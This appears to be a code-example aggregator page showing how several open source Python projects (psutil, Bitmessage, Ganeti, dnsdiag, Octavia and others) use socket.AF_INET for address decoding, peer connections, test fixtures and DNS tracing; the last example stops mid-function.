socket.AF_INET

Here are the examples of the python api socket.AF_INET taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

144 Examples 7

Example 1

Project: cgstudiomap Source File: _pslinux.py
    def decode_address(self, addr, family):
        """Accept an "ip:port" address as displayed in /proc/net/*
        and convert it into a human readable form, like:

        "0500000A:0016" -> ("10.0.0.5", 22)
        "0000000000000000FFFF00000100007F:9E49" -> ("::ffff:127.0.0.1", 40521)

        The IP address portion is a little or big endian four-byte
        hexadecimal number; that is, the least significant byte is listed
        first, so we need to reverse the order of the bytes to convert it
        to an IP address.
        The port is represented as a two-byte hexadecimal number.

        Reference:
        http://linuxdevcenter.com/pub/a/linux/2000/11/16/LinuxAdmin.html
        """
        ip, port = addr.split(':')
        port = int(port, 16)
        # this usually refers to a local socket in listen mode with
        # no end-points connected
        if not port:
            return ()
        if PY3:
            ip = ip.encode('ascii')
        if family == socket.AF_INET:
            # see: https://github.com/giampaolo/psutil/issues/201
            if sys.byteorder == 'little':
                ip = socket.inet_ntop(family, base64.b16decode(ip)[::-1])
            else:
                ip = socket.inet_ntop(family, base64.b16decode(ip))
        else:  # IPv6
            # old version - let's keep it, just in case...
            # ip = ip.decode('hex')
            # return socket.inet_ntop(socket.AF_INET6,
            #          ''.join(ip[i:i+4][::-1] for i in xrange(0, 16, 4)))
            ip = base64.b16decode(ip)
            try:
                # see: https://github.com/giampaolo/psutil/issues/201
                if sys.byteorder == 'little':
                    ip = socket.inet_ntop(
                        socket.AF_INET6,
                        struct.pack('>4I', *struct.unpack('<4I', ip)))
                else:
                    ip = socket.inet_ntop(
                        socket.AF_INET6,
                        struct.pack('<4I', *struct.unpack('<4I', ip)))
            except ValueError:
                # see: https://github.com/giampaolo/psutil/issues/623
                if not supports_ipv6():
                    raise _Ipv6UnsupportedError
                else:
                    raise
        return (ip, port)

Example 2

Project: python-pulse-control Source File: dummy_instance.py
	@classmethod
	def setUpClass(cls):
		setup_teardown(cls)

		# These are to allow starting pulse with debug logging
		#  or using pre-started (e.g. with gdb attached) instance
		# For example:
		#  t1% env -i XDG_RUNTIME_DIR=/tmp/pulsectl-tests \
		#       gdb --args /usr/bin/pulseaudio --daemonize=no --fail \
		#       -nF /tmp/pulsectl-tests/conf.pa --exit-idle-time=-1 --log-level=debug
		#  t2% PA_TMPDIR=/tmp/pulsectl-tests PA_REUSE=t python -m -m unittest pulsectl.tests.all
		env_tmpdir, env_debug, env_reuse = map(
			os.environ.get, ['PA_TMPDIR', 'PA_DEBUG', 'PA_REUSE'] )

		tmp_base = env_tmpdir or cls.tmp_dir
		if not tmp_base: tmp_base = cls.tmp_dir = tempfile.mkdtemp(prefix='pulsectl-tests.')
		tmp_base = os.path.realpath(tmp_base)
		tmp_path = ft.partial(os.path.join, tmp_base)

		# Pick some random available localhost ports
		bind = ( ['127.0.0.1', 0, socket.AF_INET],
			['::1', 0, socket.AF_INET6], ['127.0.0.1', 0, socket.AF_INET] )
		for spec in bind:
			addr, p, af = spec
			with contextlib.closing(socket.socket(af, socket.SOCK_STREAM)) as s:
				s.bind((addr, p))
				s.listen(1)
				spec[1] = s.getsockname()[1]
		cls.sock_unix = 'unix:{}'.format(tmp_path('pulse', 'native'))
		cls.sock_tcp4 = 'tcp4:{}:{}'.format(bind[0][0], bind[0][1])
		cls.sock_tcp6 = 'tcp6:[{}]:{}'.format(bind[1][0], bind[1][1])
		cls.sock_tcp_cli = tuple(bind[2][:2])

		if not env_reuse and not cls.proc:
			env = dict(XDG_RUNTIME_DIR=tmp_base, PULSE_STATE_PATH=tmp_base)
			log_level = 'error' if not env_debug else 'debug'
			cls.proc = subprocess.Popen(
				[ 'pulseaudio', '--daemonize=no', '--fail',
					'-nC', '--exit-idle-time=-1', '--log-level={}'.format(log_level) ],
				env=env, stdin=subprocess.PIPE )
			for line in [
					'module-augment-properties',

					'module-default-device-restore',
					'module-rescue-streams',
					'module-always-sink',
					'module-intended-roles',
					'module-suspend-on-idle',
					'module-position-event-sounds',
					'module-role-cork',
					'module-filter-heuristics',
					'module-filter-apply',
					'module-switch-on-port-available',
					'module-stream-restore',

					'module-native-protocol-tcp auth-anonymous=true'
						' listen={addr4} port={port4}'.format(addr4=bind[0][0], port4=bind[0][1]),
					'module-native-protocol-tcp auth-anonymous=true'
						' listen={addr6} port={port6}'.format(addr6=bind[1][0], port6=bind[1][1]),
					'module-native-protocol-unix',

					'module-null-sink',
					'module-null-sink' ]:
				if line.startswith('module-'): line = 'load-module {}'.format(line)
				cls.proc.stdin.write('{}\n'.format(line).encode('utf-8'))
				cls.proc.stdin.flush()
			timeout, checks, p = 4, 10, cls.sock_unix.split(':', 1)[-1]
			for n in range(checks):
				if not os.path.exists(p):
					time.sleep(float(timeout) / checks)
					continue
				break
			else: raise AssertionError(p)

Example 3

Project: PyBitmessage Source File: class_outgoingSynSender.py
    def run(self):
        while shared.safeConfigGetBoolean('bitmessagesettings', 'dontconnect') and not self._stopped:
            self.stop.wait(2)
        while shared.safeConfigGetBoolean('bitmessagesettings', 'sendoutgoingconnections') and not self._stopped:
            self.name = "outgoingSynSender"
            maximumConnections = 1 if shared.trustedPeer else 8 # maximum number of outgoing connections = 8
            while len(self.selfInitiatedConnections[self.streamNumber]) >= maximumConnections:
                self.stop.wait(10)
            if shared.shutdown:
                break
            random.seed()
            peer = self._getPeer()
            shared.alreadyAttemptedConnectionsListLock.acquire()
            while peer in shared.alreadyAttemptedConnectionsList or peer.host in shared.connectedHostsList:
                shared.alreadyAttemptedConnectionsListLock.release()
                # print 'choosing new sample'
                random.seed()
                peer = self._getPeer()
                self.stop.wait(1)
                if shared.shutdown:
                    break
                # Clear out the shared.alreadyAttemptedConnectionsList every half
                # hour so that this program will again attempt a connection
                # to any nodes, even ones it has already tried.
                if (time.time() - shared.alreadyAttemptedConnectionsListResetTime) > 1800:
                    shared.alreadyAttemptedConnectionsList.clear()
                    shared.alreadyAttemptedConnectionsListResetTime = int(
                        time.time())
                shared.alreadyAttemptedConnectionsListLock.acquire()
            shared.alreadyAttemptedConnectionsList[peer] = 0
            try:
                shared.alreadyAttemptedConnectionsListLock.release()
            except threading.ThreadError as e:
                pass
            if shared.shutdown:
                break
            self.name = "outgoingSynSender-" + peer.host.replace(":", ".") # log parser field separator
            if peer.host.find(':') == -1:
                address_family = socket.AF_INET
            else:
                address_family = socket.AF_INET6
            try:
                self.sock = socks.socksocket(address_family, socket.SOCK_STREAM)
            except:
                """
                The line can fail on Windows systems which aren't
                64-bit compatiable:
                      File "C:\Python27\lib\socket.py", line 187, in __init__
                        _sock = _realsocket(family, type, proto)
                      error: [Errno 10047] An address incompatible with the requested protocol was used
                      
                So let us remove the offending address from our knownNodes file.
                """
                shared.knownNodesLock.acquire()
                try:
                    del shared.knownNodes[self.streamNumber][peer]
                except:
                    pass
                shared.knownNodesLock.release()
                logger.debug('deleting ' + str(peer) + ' from shared.knownNodes because it caused a socks.socksocket exception. We must not be 64-bit compatible.')
                continue
            # This option apparently avoids the TIME_WAIT state so that we
            # can rebind faster
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.settimeout(20)
            if shared.config.get('bitmessagesettings', 'socksproxytype') == 'none' and shared.verbose >= 2:
                logger.debug('Trying an outgoing connection to ' + str(peer))

                # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            elif shared.config.get('bitmessagesettings', 'socksproxytype') == 'SOCKS4a':
                if shared.verbose >= 2:
                    logger.debug ('(Using SOCKS4a) Trying an outgoing connection to ' + str(peer))

                proxytype = socks.PROXY_TYPE_SOCKS4
                sockshostname = shared.config.get(
                    'bitmessagesettings', 'sockshostname')
                socksport = shared.config.getint(
                    'bitmessagesettings', 'socksport')
                rdns = True  # Do domain name lookups through the proxy; though this setting doesn't really matter since we won't be doing any domain name lookups anyway.
                if shared.config.getboolean('bitmessagesettings', 'socksauthentication'):
                    socksusername = shared.config.get(
                        'bitmessagesettings', 'socksusername')
                    sockspassword = shared.config.get(
                        'bitmessagesettings', 'sockspassword')
                    self.sock.setproxy(
                        proxytype, sockshostname, socksport, rdns, socksusername, sockspassword)
                else:
                    self.sock.setproxy(
                        proxytype, sockshostname, socksport, rdns)
            elif shared.config.get('bitmessagesettings', 'socksproxytype') == 'SOCKS5':
                if shared.verbose >= 2:
                    logger.debug ('(Using SOCKS5) Trying an outgoing connection to ' + str(peer))

                proxytype = socks.PROXY_TYPE_SOCKS5
                sockshostname = shared.config.get(
                    'bitmessagesettings', 'sockshostname')
                socksport = shared.config.getint(
                    'bitmessagesettings', 'socksport')
                rdns = True  # Do domain name lookups through the proxy; though this setting doesn't really matter since we won't be doing any domain name lookups anyway.
                if shared.config.getboolean('bitmessagesettings', 'socksauthentication'):
                    socksusername = shared.config.get(
                        'bitmessagesettings', 'socksusername')
                    sockspassword = shared.config.get(
                        'bitmessagesettings', 'sockspassword')
                    self.sock.setproxy(
                        proxytype, sockshostname, socksport, rdns, socksusername, sockspassword)
                else:
                    self.sock.setproxy(
                        proxytype, sockshostname, socksport, rdns)

            try:
                self.sock.connect((peer.host, peer.port))
                someObjectsOfWhichThisRemoteNodeIsAlreadyAware = {} # This is not necessairly a complete list; we clear it from time to time to save memory.
                sendDataThreadQueue = Queue.Queue() # Used to submit information to the send data thread for this connection. 

                sd = sendDataThread(sendDataThreadQueue)
                sd.setup(self.sock, peer.host, peer.port, self.streamNumber,
                         someObjectsOfWhichThisRemoteNodeIsAlreadyAware)
                sd.start()

                rd = receiveDataThread()
                rd.daemon = True  # close the main program even if there are threads left
                rd.setup(self.sock, 
                         peer.host, 
                         peer.port, 
                         self.streamNumber,
                         someObjectsOfWhichThisRemoteNodeIsAlreadyAware, 
                         self.selfInitiatedConnections, 
                         sendDataThreadQueue,
                         sd.objectHashHolderInstance)
                rd.start()

                sd.sendVersionMessage()

                logger.debug(str(self) + ' connected to ' + str(peer) + ' during an outgoing attempt.')
            except socks.GeneralProxyError as err:
                if shared.verbose >= 2:
                    logger.debug('Could NOT connect to ' + str(peer) + ' during outgoing attempt. ' + str(err))

                deletedPeer = None
                with shared.knownNodesLock:
                    """
                    It is remotely possible that peer is no longer in shared.knownNodes.
                    This could happen if two outgoingSynSender threads both try to 
                    connect to the same peer, both fail, and then both try to remove
                    it from shared.knownNodes. This is unlikely because of the
                    alreadyAttemptedConnectionsList but because we clear that list once
                    every half hour, it can happen.
                    """
                    if peer in shared.knownNodes[self.streamNumber]:
                        timeLastSeen = shared.knownNodes[self.streamNumber][peer]
                        if (int(time.time()) - timeLastSeen) > 172800 and len(shared.knownNodes[self.streamNumber]) > 1000:  # for nodes older than 48 hours old if we have more than 1000 hosts in our list, delete from the shared.knownNodes data-structure.
                            del shared.knownNodes[self.streamNumber][peer]
                            deletedPeer = peer
                if deletedPeer:
                    str ('deleting ' + str(peer) + ' from shared.knownNodes because it is more than 48 hours old and we could not connect to it.')

            except socks.Socks5AuthError as err:
                shared.UISignalQueue.put((
                    'updateStatusBar', tr._translate(
                    "MainWindow", "SOCKS5 Authentication problem: %1").arg(str(err))))
            except socks.Socks5Error as err:
                if err[0] in [3, 4, 5, 6]:
                    # this is a more bening "error": host unreachable, network unreachable, connection refused, TTL expired
                    logger.debug('SOCKS5 error. ' + str(err))
                else:
                    logger.error('SOCKS5 error. ' + str(err))
            except socks.Socks4Error as err:
                logger.error('Socks4Error: ' + str(err))
            except socket.error as err:
                if shared.config.get('bitmessagesettings', 'socksproxytype')[0:5] == 'SOCKS':
                    logger.error('Bitmessage MIGHT be having trouble connecting to the SOCKS server. ' + str(err))
                else:
                    if shared.verbose >= 1:
                        logger.debug('Could NOT connect to ' + str(peer) + 'during outgoing attempt. ' + str(err))

                deletedPeer = None
                with shared.knownNodesLock:
                    """
                    It is remotely possible that peer is no longer in shared.knownNodes.
                    This could happen if two outgoingSynSender threads both try to 
                    connect to the same peer, both fail, and then both try to remove
                    it from shared.knownNodes. This is unlikely because of the
                    alreadyAttemptedConnectionsList but because we clear that list once
                    every half hour, it can happen.
                    """
                    if peer in shared.knownNodes[self.streamNumber]:
                        timeLastSeen = shared.knownNodes[self.streamNumber][peer]
                        if (int(time.time()) - timeLastSeen) > 172800 and len(shared.knownNodes[self.streamNumber]) > 1000:  # for nodes older than 48 hours old if we have more than 1000 hosts in our list, delete from the shared.knownNodes data-structure.
                            del shared.knownNodes[self.streamNumber][peer]
                            deletedPeer = peer
                if deletedPeer:
                    logger.debug('deleting ' + str(peer) + ' from shared.knownNodes because it is more than 48 hours old and we could not connect to it.')

            except Exception as err:
                import traceback
                logger.exception('An exception has occurred in the outgoingSynSender thread that was not caught by other exception types:')
            self.stop.wait(0.1)

Example 4

Project: music-player Source File: test_cfsocket.py
    @onlyIf(onTheNetwork(), "cannot test without internet connection")
    def testSocketFunctions(self):
        data = {}
        state = []
        def callback(sock, kind, address, data, info):
            state.append((sock, kind, address, data, info))

        sock = CFSocketCreate(None, socket.AF_INET, socket.SOCK_STREAM, 0,
                kCFSocketReadCallBack|kCFSocketWriteCallBack,
                callback, data)
        self.assertIsInstance(sock, CFSocketRef)
        localaddr = struct.pack('>BBHBBBB', 16, socket.AF_INET, 9425, 127, 0, 0, 1)
        localaddr += b'\0' * 8
        if sys.version_info[0] == 2:
            localaddr = buffer(localaddr)
        err = CFSocketSetAddress(sock, localaddr)
        self.assertEqual(err, kCFSocketSuccess)


        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        try:
            sock = CFSocketCreateWithNative(None, sd.fileno(),
                    kCFSocketReadCallBack|kCFSocketWriteCallBack,
                    callback, data)
            self.assertIsInstance(sock, CFSocketRef)
            n = CFSocketGetNative(sock)
            self.assertIsInstance(n, (int, long))
            self.assertEqual(n, sd.fileno())



            ctx = CFSocketGetContext(sock, None)
            self.assertIs(ctx, data)
            flags = CFSocketGetSocketFlags(sock)
            self.assertIsInstance(flags, (int, long))
            CFSocketSetSocketFlags(sock, kCFSocketAutomaticallyReenableReadCallBack|kCFSocketAutomaticallyReenableAcceptCallBack)
            flags2 = CFSocketGetSocketFlags(sock)
            self.assertIsInstance(flags2, (int, long))
            self.assertEqual(flags2, kCFSocketAutomaticallyReenableReadCallBack|kCFSocketAutomaticallyReenableAcceptCallBack)

            # Note: I don't expect anyone to actually use this api, building
            # struct sockaddr buffers by hand is madness in python.
            ip = socket.gethostbyname('www.apple.com')
            ip = map(int, ip.split('.'))

            sockaddr = struct.pack('>BBHBBBB', 16, socket.AF_INET, 80, *ip)
            sockaddr += b'\0' * 8
            if sys.version_info[0] == 2:
                sockaddr = buffer(sockaddr)

            e = CFSocketConnectToAddress(sock, sockaddr, 1.0)
            self.assertIsInstance(e, (int, long))
            self.assertEqual(e, kCFSocketSuccess)


            self.assertResultIsCFRetained(CFSocketCopyPeerAddress)
            addr = CFSocketCopyPeerAddress(sock)
            self.assertIsInstance(addr, CFDataRef)
            self.assertResultIsCFRetained(CFSocketCopyAddress)
            addr = CFSocketCopyAddress(sock)
            self.assertIsInstance(addr, CFDataRef)
            CFSocketDisableCallBacks(sock, kCFSocketReadCallBack|kCFSocketAcceptCallBack)
            CFSocketEnableCallBacks(sock, kCFSocketReadCallBack|kCFSocketAcceptCallBack)

            if sys.version_info[0] == 2:
                err = CFSocketSendData(sock, None, buffer("GET / HTTP/1.0"), 1.0)
            else:
                err = CFSocketSendData(sock, None, b"GET / HTTP/1.0", 1.0)
            self.assertEqual(err, kCFSocketSuccess)



            ok = CFSocketIsValid(sock)
            self.assertIs(ok, True)
            CFSocketInvalidate(sock)
            self.assertResultIsBOOL(CFSocketIsValid)
            ok = CFSocketIsValid(sock)
            self.assertIs(ok, False)
            localaddr = struct.pack('>BBHBBBB', 16, socket.AF_INET, 9424, 127, 0, 0, 1)
            localaddr += b'\0' * 8
            signature = CFSocketSignature(
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    0,
                    buffer(localaddr))

            sock = CFSocketCreateWithSocketSignature(None, signature,
                    kCFSocketReadCallBack|kCFSocketWriteCallBack,
                    callback, data)
            self.assertIsInstance(sock, CFSocketRef)
            signature = CFSocketSignature(
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    0,
                    buffer(sockaddr))
            sock = CFSocketCreateConnectedToSocketSignature(None, signature,
                    kCFSocketReadCallBack|kCFSocketWriteCallBack,
                    callback, data, 1.0)
            self.assertIsInstance(sock, CFSocketRef)
            self.assertResultIsCFRetained(CFSocketCreateRunLoopSource)
            src = CFSocketCreateRunLoopSource(None, sock, 0)
            self.assertIsInstance(src, CFRunLoopSourceRef)

        finally:
            sd.close()

Example 5

Project: ganeti Source File: __init__.py
Function: create_socket
  def _CreateSocket(self, ssl_params, ssl_verify_peer, family,
                    ssl_verify_callback):
    """Creates a TCP socket and initializes SSL if needed.

    @type ssl_params: HttpSslParams
    @param ssl_params: SSL key and certificate
    @type ssl_verify_peer: bool
    @param ssl_verify_peer: Whether to require client certificate
        and compare it with our certificate
    @type family: int
    @param family: socket.AF_INET | socket.AF_INET6

    """
    assert family in (socket.AF_INET, socket.AF_INET6)
    if ssl_verify_peer:
      assert ssl_verify_callback is not None

    self._ssl_params = ssl_params
    sock = socket.socket(family, socket.SOCK_STREAM)

    # Should we enable SSL?
    self.using_ssl = ssl_params is not None

    if not self.using_ssl:
      return sock

    self._ssl_key = ssl_params.GetKey()
    self._ssl_cert = ssl_params.GetCertificate()

    ctx = OpenSSL.SSL.Context(OpenSSL.SSL.SSLv23_METHOD)
    ctx.set_options(OpenSSL.SSL.OP_NO_SSLv2)

    ciphers = self.GetSslCiphers()
    logging.debug("Setting SSL cipher string %s", ciphers)
    ctx.set_cipher_list(ciphers)

    ctx.use_privatekey(self._ssl_key)
    ctx.use_certificate(self._ssl_cert)
    ctx.check_privatekey()
    logging.debug("Certificate digest: %s.", ssl_params.GetCertificateDigest())
    logging.debug("Certificate filename: %s.",
                  ssl_params.GetCertificateFilename())

    if ssl_verify_peer:
      ctx.set_verify(OpenSSL.SSL.VERIFY_PEER |
                     OpenSSL.SSL.VERIFY_FAIL_IF_NO_PEER_CERT,
                     ssl_verify_callback)

      # Also add our certificate as a trusted CA to be sent to the client.
      # This is required at least for GnuTLS clients to work.
      try:
        # This will fail for PyOpenssl versions before 0.10
        ctx.add_client_ca(self._ssl_cert)
      except AttributeError:
        # Fall back to letting OpenSSL read the certificate file directly.
        ctx.load_client_ca(ssl_params.ssl_cert_path)

    return OpenSSL.SSL.Connection(ctx, sock)

Example 6

Project: vxfld Source File: vxsnd.py
    def _run(self):
        """ Main method
        """
        self._conf.vxlan_listen_port = (
            self._conf.vxlan_listen_port or self._conf.vxlan_port
        )
        self._conf.vxlan_dest_port = (
            self._conf.vxlan_dest_port or self._conf.vxlan_port
        )
        # Install an anycast address on the loopback interface and associate a
        # cleanup method to be invoked on shutdown.
        if self._conf.install_svcnode_ip:
            if (self._conf.svcnode_ip ==
                    config.Config.CommonConfig.svcnode_ip.default):
                raise RuntimeError('Cannot install ANY addr on loopback IF')
            self.__add_ip_addr()
            atexit.register(self.__del_ip_addr)

        # Open the sockets
        try:
            if self._conf.enable_vxlan_listen:
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                # Set SO_RCVBUF
                # NOTE(cfb): Setting SO_RCVBUF results in the size being 2x the
                # bytes passed to the setsockopt call. As such we pass it as
                # size/2.
                sock.setsockopt(socket.SOL_SOCKET,
                                socket.SO_RCVBUF,
                                self._conf.receive_queue / 2)
                sock.bind((self._conf.svcnode_ip,
                           self._conf.vxlan_listen_port))
                self._pool.spawn_n(self._serve, sock,
                                   self.__handle_vxlan_packet)
            if not self._conf.no_flood:
                # Don't create this if not flooding.  Then I can run non-root.
                self.__fsocketpool.create = (
                    lambda: socket.socket(socket.AF_INET,
                                          socket.SOCK_RAW,
                                          socket.IPPROTO_RAW)
                )
            isock = None
            for ip_addr, port in self.__vxfld_addresses:
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                # Allows the RD and SND to bind to the same port if one of them
                # is using a wildcard address.
                sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                sock.bind((ip_addr, port))
                if isock is None or ip_addr == self._conf.src_ip:
                    isock = sock
                self._pool.spawn_n(self._serve, sock, self.__handle_vxfld_msg)
            if isock is not None:
                self.__isocketpool.create = lambda: isock
            # Open a TCP socket for SND-SND communication.
            tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            tsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            tsock.bind((self._conf.src_ip, self._conf.vxfld_port))
            tsock.listen(max(len(self._conf.svcnode_peers), 5))
            self._pool.spawn_n(self._serve_tcp, tsock,
                               self.__handle_vxfld_sync)
        except socket.error as ex:
            raise RuntimeError('opening receive and transmit sockets : %s' %
                               ex)

        # Sync the fdb from peer SNDs
        self._pool.spawn(self.__resync_fdb).link(self._stop_checker)

        # Periodically ageout stale FDB entries.
        next_ageout = 0
        while True:
            now = int(time.time())
            if now >= next_ageout:
                self.__fdb.ageout()
                next_ageout = now + self._conf.age_check
            eventlet.sleep(self._conf.age_check)

Example 7

Project: dnsdiag Source File: dnstraceroute.py
def main():
    global quiet

    try:
        signal.signal(signal.SIGTSTP, signal.SIG_IGN)  # ignore CTRL+Z
        signal.signal(signal.SIGINT, signal_handler)  # custom CTRL+C handler
    except AttributeError:  # not all signals are supported on all platforms
        pass

    if len(sys.argv) == 1:
        usage()

    dnsrecord = 'A'
    count = 30
    timeout = 2
    dnsserver = dns.resolver.get_default_resolver().nameservers[0]
    dest_port = 53
    hops = 0
    as_lookup = False
    expert_mode = False
    should_resolve = True
    use_edns = True
    color_mode = False

    try:
        opts, args = getopt.getopt(sys.argv[1:], "aqhc:s:t:w:p:nexC",
                                   ["help", "count=", "server=", "quiet", "type=", "wait=", "asn", "port", "expert",
                                    "color"])
    except getopt.GetoptError as err:
        # print help information and exit:
        print(err)  # will print something like "option -a not recognized"
        usage()

    if args and len(args) == 1:
        hostname = args[0]
    else:
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-c", "--count"):
            count = int(a)
        elif o in ("-x", "--expert"):
            expert_mode = True
        elif o in ("-s", "--server"):
            dnsserver = a
        elif o in ("-q", "--quiet"):
            quiet = True
        elif o in ("-w", "--wait"):
            timeout = int(a)
        elif o in ("-t", "--type"):
            dnsrecord = a
        elif o in ("-p", "--port"):
            dest_port = int(a)
        elif o in ("-C", "--color"):
            color_mode = True
        elif o in ("-n"):
            should_resolve = False
        elif o in ("-a", "--asn"):
            as_lookup = True
        elif o in ("-e", "--edns"):
            use_edns = False
        else:
            usage()

    color = Colors(color_mode)

    # check if we have a valid dns server address
    try:
        ipaddress.ip_address(dnsserver)
    except ValueError:  # so it is not a valid IPv4 or IPv6 address, so try to resolve host name
        try:
            dnsserver = socket.getaddrinfo(dnsserver, port=None, family=socket.AF_INET)[1][4][0]
        except OSError:
            print('Error: cannot resolve hostname:', dnsserver)
            sys.exit(1)

    resolver = dns.resolver.Resolver()
    resolver.nameservers = [dnsserver]
    resolver.timeout = timeout
    resolver.lifetime = timeout
    resolver.retry_servfail = 0

    icmp = socket.getprotobyname('icmp')

    ttl = 1
    reached = False
    trace_path = []

    if not quiet:
        print("%s DNS: %s:%d, hostname: %s, rdatatype: %s" % (__PROGNAME__, dnsserver, dest_port, hostname, dnsrecord),
              flush=True)

    while True:
        if shutdown:
            break

        # some platforms permit opening a DGRAM socket for ICMP without root permission
        # if not availble, we will fall back to RAW which explicitly requires root permission
        try:
            icmp_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
        except OSError:
            try:
                icmp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, icmp)
            except OSError:
                print("Error: Unable to create ICMP socket with unprivileged user. Please run as root.")
                sys.exit(1)

        icmp_socket.bind(("", dest_port))
        icmp_socket.settimeout(timeout)

        curr_addr = None
        curr_host = None

        with concurrent.futures.ThreadPoolExecutor(max_workers=1) as pool:  # dispatch dns lookup to another thread
            stime = time.time()
            thr = pool.submit(ping, resolver, hostname, dnsrecord, ttl, use_edns=use_edns)

            try:  # expect ICMP response
                _, curr_addr = icmp_socket.recvfrom(512)
                curr_addr = curr_addr[0]
            except socket.error:
                etime = time.time()
                pass
            finally:
                etime = time.time()
                icmp_socket.close()

        reached = thr.result()

        if reached:
            curr_addr = dnsserver
            stime = time.time()  # need to recalculate elapsed time for last hop without waiting for an icmp error reply
            ping(resolver, hostname, dnsrecord, ttl, use_edns=use_edns)
            etime = time.time()

        elapsed = abs(etime - stime) * 1000  # convert to milliseconds

        if should_resolve:
            try:
                if curr_addr:
                    curr_name = socket.gethostbyaddr(curr_addr)[0]
            except socket.error:
                curr_name = curr_addr
            except SystemExit:
                pass
            except:
                print("unxpected error: ", sys.exc_info()[0])
        else:
            curr_name = curr_addr

        if curr_addr:
            as_name = ""
            if as_lookup:
                asn = whoisrecord(curr_addr)
                as_name = ''
                try:
                    if asn and asn.asn != "NA":
                        as_name = "[%s %s] " % (asn.asn, asn.owner)
                except AttributeError:
                    if shutdown:
                        sys.exit(0)
                    pass

            c = color.N  # default
            if curr_addr != '*':
                IP = ipaddress.ip_address(curr_addr)
                if IP.is_private:
                    c = color.R
                if IP.is_reserved:
                    c = color.B
                if curr_addr == dnsserver:
                    c = color.G

            print("%d\t%s (%s%s%s) %s%d ms" % (ttl, curr_name, c, curr_addr, color.N, as_name, elapsed), flush=True)
            trace_path.append(curr_addr)
        else:
            print("%d\t *" % ttl, flush=True)
            trace_path.append("*")

        ttl += 1
        hops += 1
        if (hops >= count) or (curr_addr == dnsserver) or reached:
            break

    if expert_mode and not shutdown:
        expert_report(trace_path, color_mode)

Example 8

Project: octavia Source File: test_health_sender.py
    @mock.patch('socket.getaddrinfo')
    @mock.patch('socket.socket')
    def test_sender(self, mock_socket, mock_getaddrinfo):
        socket_mock = mock.MagicMock()
        mock_socket.return_value = socket_mock
        sendto_mock = mock.MagicMock()
        socket_mock.sendto = sendto_mock

        # Test when no addresses are returned
        mock_getaddrinfo.return_value = []
        sender = health_sender.UDPStatusSender()
        sender.dosend(SAMPLE_MSG)

        # Test IPv4 path
        mock_getaddrinfo.return_value = [(socket.AF_INET,
                                          socket.SOCK_DGRAM,
                                          socket.IPPROTO_UDP,
                                          '',
                                          ('192.0.2.20', 80))]
        sendto_mock.reset_mock()

        sender = health_sender.UDPStatusSender()
        sender.dosend(SAMPLE_MSG)

        sendto_mock.assert_called_once_with(SAMPLE_MSG_BIN,
                                            ('192.0.2.20', 80))

        sendto_mock.reset_mock()

        # Test IPv6 path
        mock_getaddrinfo.return_value = [(socket.AF_INET6,
                                          socket.SOCK_DGRAM,
                                          socket.IPPROTO_UDP,
                                          '',
                                          ('2001:0DB8::F00D', 80))]

        sender = health_sender.UDPStatusSender()

        sender.dosend(SAMPLE_MSG)

        sendto_mock.assert_called_once_with(SAMPLE_MSG_BIN,
                                            ('2001:0DB8::F00D', 80))

        sendto_mock.reset_mock()

        # Test invalid address family

        mock_getaddrinfo.return_value = [(socket.AF_UNIX,
                                          socket.SOCK_DGRAM,
                                          socket.IPPROTO_UDP,
                                          '',
                                          ('2001:0DB8::F00D', 80))]

        sender = health_sender.UDPStatusSender()

        sender.dosend(SAMPLE_MSG)

        self.assertFalse(sendto_mock.called)

        sendto_mock.reset_mock()

        # Test socket error
        socket_mock.sendto.side_effect = socket.error

        mock_getaddrinfo.return_value = [(socket.AF_INET6,
                                          socket.SOCK_DGRAM,
                                          socket.IPPROTO_UDP,
                                          '',
                                          ('2001:0DB8::F00D', 80))]

        sender = health_sender.UDPStatusSender()

        # Should not raise an exception
        sender.dosend(SAMPLE_MSG)

Example 9

Project: music-player Source File: test_cfstream.py
    @onlyIf(onTheNetwork)
    def testSockets(self):
        with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sd:
            sd.connect(('www.apple.com', 80))

            self.assertArgIsOut(CFStreamCreatePairWithSocket, 2)
            self.assertArgIsOut(CFStreamCreatePairWithSocket, 3)
            readStream, writeStream = CFStreamCreatePairWithSocket(None,
                    sd.fileno(), None, None)

            status = CFReadStreamGetStatus(readStream)
            self.assertIsInstance(status, (int, long))
            self.assertEqual(status, kCFStreamStatusNotOpen)

            status = CFWriteStreamGetStatus(writeStream)
            self.assertIsInstance(status, (int, long))
            self.assertEqual(status, kCFStreamStatusNotOpen)

            del readStream, writeStream, sd

        self.assertArgIsOut(CFStreamCreatePairWithSocketToHost, 3)
        self.assertArgIsOut(CFStreamCreatePairWithSocketToHost, 4)
        readStream, writeStream = CFStreamCreatePairWithSocketToHost(None,
                "www.apple.com", 80, None, None)

        status = CFReadStreamGetStatus(readStream)
        self.assertIsInstance(status, (int, long))
        self.assertEqual(status, kCFStreamStatusNotOpen)

        status = CFWriteStreamGetStatus(writeStream)
        self.assertIsInstance(status, (int, long))
        self.assertEqual(status, kCFStreamStatusNotOpen)

        del readStream, writeStream


        # Note: I don't expect anyone to actually use this api, building
        # struct sockaddr buffers by hand is madness in python.
        ip = socket.gethostbyname('www.apple.com')
        ip = map(int, ip.split('.'))

        import struct
        sockaddr = struct.pack('>BBHBBBB', 16, socket.AF_INET, 80, *ip)

        if sys.version_info[0] == 3:
            sockaddr_buffer = sockaddr
        else:
            sockaddr_buffer = buffer(sockaddr)

        signature = CFSocketSignature(
                protocolFamily=socket.AF_INET,
                socketType=socket.SOCK_STREAM,
                protocol=0,
                address=sockaddr_buffer)

        self.assertArgIsOut(CFStreamCreatePairWithPeerSocketSignature, 2)
        self.assertArgIsOut(CFStreamCreatePairWithPeerSocketSignature, 3)
        readStream, writeStream = CFStreamCreatePairWithPeerSocketSignature(
                None, signature, None, None)

